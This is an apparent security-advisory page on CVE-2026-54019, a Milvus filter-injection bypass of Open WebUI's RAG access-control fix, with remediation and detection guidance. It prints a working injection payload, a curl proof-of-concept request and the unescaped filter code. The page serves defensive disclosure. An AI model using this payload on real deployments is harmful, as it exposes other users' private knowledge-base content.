CVE-2026-54019: Open WebUI: RAG ACL Bypass in Milvus Multitenancy Mode
Open WebUI deployments that use Milvus in multitenancy mode let a logged-in user inject into the Milvus filter through a RAG collection name and read other users' private knowledge-base chunks. It bypasses the earlier collection-level ACL fix. Open WebUI 0.9.5 and earlier with VECTOR_DB=milvus and ENABLE_MILVUS_MULTITENANCY_MODE=true is affected. Upgrade to 0.9.6.
Published Jun 17, 2026 · Updated Jul 20, 2026 · Analysis Oct 26, 2026
What an attacker can do
The earlier ACL fix in backend/open_webui/retrieval/utils.py allows collection names that are not known knowledge bases, treating them as legacy or ephemeral collections. In retrieval/vector/dbs/milvus_multitenancy.py, that name becomes a resource_id and is placed in the filter expression resource_id == '{resource_id}' with no escaping.
An attacker with a normal account sends POST /api/v1/retrieval/query/collection (or /query/doc) with the collection name x' or resource_id != '' or resource_id == 'x. The ACL sees an unknown name and lets it through. Milvus then evaluates a filter that matches every row, and the response contains private chunks from other users' knowledge bases.
No victim interaction is needed. The setup must use VECTOR_DB=milvus with ENABLE_MILVUS_MULTITENANCY_MODE=true, which the advisory calls a production configuration and not a default. The CVSS score is 6.5, with high confidentiality impact. Anything stored in RAG collections, such as internal documents, is exposed to any user of the instance.
Who is affected
The open-webui pip package, version 0.9.5 and earlier, only when VECTOR_DB=milvus and ENABLE_MILVUS_MULTITENANCY_MODE=true. The reporter tested v0.9.5 at commit 3660bc00f. Check:
pip show open-webuiThen check those two variables in your environment or container configuration. Other vector stores are not covered by this advisory.
open-webui
- Ecosystem
- PyPI
- Affected
- <= 0.9.5
- Fixed in
- 0.9.6
- Check
pip show open-webui
How to fix it
Upgrade to Open WebUI 0.9.6:
pip install --upgrade open-webui==0.9.6The advisory does not include the patch. Its recommendations are to stop accepting arbitrary unknown collection names on user-facing query endpoints, to escape or parameterize Milvus filter values, to reject names with quotes or control characters, and to add a regression test for the payload. It lists no workaround. Whether 0.9.6 implements all of these is not stated, so check the release notes.
How to tell if you were hit
Search access logs and request bodies for calls to /api/v1/retrieval/query/collection or /api/v1/retrieval/query/doc where a collection_names entry contains a single quote or the string resource_id. Any such entry is an attack attempt, since legitimate collection names do not contain quotes. Review which users sent them and what the responses returned.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
RAG ACL Bypass in Milvus Multitenancy Mode
Summary
This is a bypass of the fix for:
- GHSA-h36f-rqpx-j5wx
- CVE-2026-44560
- "Unauthorized File and Knowledge Base Content Access via RAG Vector Search"
Open WebUI added collection-level ACL checks, but the patch can still be bypassed when Milvus multitenancy mode is enabled. The ACL allows unknown non-KB collection names as legacy/ephemeral collections. In Milvus multitenancy mode, that user-controlled collection name becomes a resource_id and is interpolated into a Milvus expression without escaping.
An authenticated non-admin user can query:
x' or resource_id != '' or resource_id == 'xThis passes the Open WebUI ACL as an unknown collection, but Milvus evaluates:
resource_id == 'x' or resource_id != '' or resource_id == 'x'That returns private knowledge-base chunks belonging to other users.
Affected Configuration
Tested on:
Open WebUI: v0.9.5, commit 3660bc00f
VECTOR_DB=milvus
ENABLE_MILVUS_MULTITENANCY_MODE=trueThis is not a default-vector-store issue. It affects production deployments using Milvus multitenancy.
Impact
An authenticated low-privilege user can read private RAG / knowledge-base content they do not have access to. No victim interaction is required.
Root Cause
ACL permits unknown collection names:
# backend/open_webui/retrieval/utils.py
elif not await Knowledges.get_knowledge_by_id(name):
validated.add(name)Milvus multitenancy then treats the same name as resource_id and builds unsafe expressions:
# backend/open_webui/retrieval/vector/dbs/milvus_multitenancy.py
expr=f"{RESOURCE_ID_FIELD} == '{resource_id}'"Affected paths include:
POST /api/v1/retrieval/query/collection
POST /api/v1/retrieval/query/docPoC
Request:
curl -s -X POST "$TARGET/api/v1/retrieval/query/collection" \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
-H "Content-Type: application/json" \
--data-binary @- <<'JSON'
{
"collection_names": [
"x' or resource_id != '' or resource_id == 'x"
],
"query": "anything",
"k": 10,
"hybrid": false
}
JSONActual result: private chunks from other users' knowledge collections are returned.
Expected result: request should be rejected with 403 or return no unauthorized content.
Remediation
- Do not allow arbitrary unknown collection names in user-controlled RAG query endpoints.
- Escape or parameterize Milvus expression values before building filters.
- Reject collection names containing quotes/control characters unless they match a known internal format.
- Add a regression test for this payload in Milvus multitenancy mode:
x' or resource_id != '' or resource_id == 'xCredited to 0xEr3n, Classic298.
Questions
- Am I affected if I use the default vector database?
No. The advisory says it is not a default-vector-store issue. It needs VECTOR_DB=milvus with ENABLE_MILVUS_MULTITENANCY_MODE=true.
- How does this relate to CVE-2026-44560?
It bypasses the fix for that earlier flaw. The ACL added there still lets unknown collection names through, and the Milvus multitenancy code then trusts that name in a filter expression.
- Which version fixes CVE-2026-54019?
Open WebUI 0.9.6. Versions up to and including 0.9.5 are affected in the Milvus multitenancy configuration.
References
Read for this analysis:
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Open WebUI vulnerabilities
All Open WebUI entriesCVE-2026-87011
Open WebUI: Unauthenticated requests can stall the server via uncached OIDC fetches in back-channel logout
high7.5Sep 10, 2026CVE-2026-87012
Open WebUI: Any authenticated user can suppress calendar alerts instance-wide via a non-numeric alert value
medium4.3Sep 10, 2026CVE-2026-87013
Open WebUI: Any authenticated user can start a non-terminating request via a folder parent cycle
medium4.3Sep 10, 2026CVE-2026-87014
Open WebUI: Admin demoted through SSO role sync keeps read and write access to all users' notes
medium6.5Sep 10, 2026CVE-2026-87015
Open WebUI: A user's session cookies are sent to tool servers configured for bearer authentication
medium6.8Sep 10, 2026CVE-2026-87016
Open WebUI: Sign-in as another user via wildcard characters in the OAuth subject claim on SQLite
high8.1Sep 10, 2026
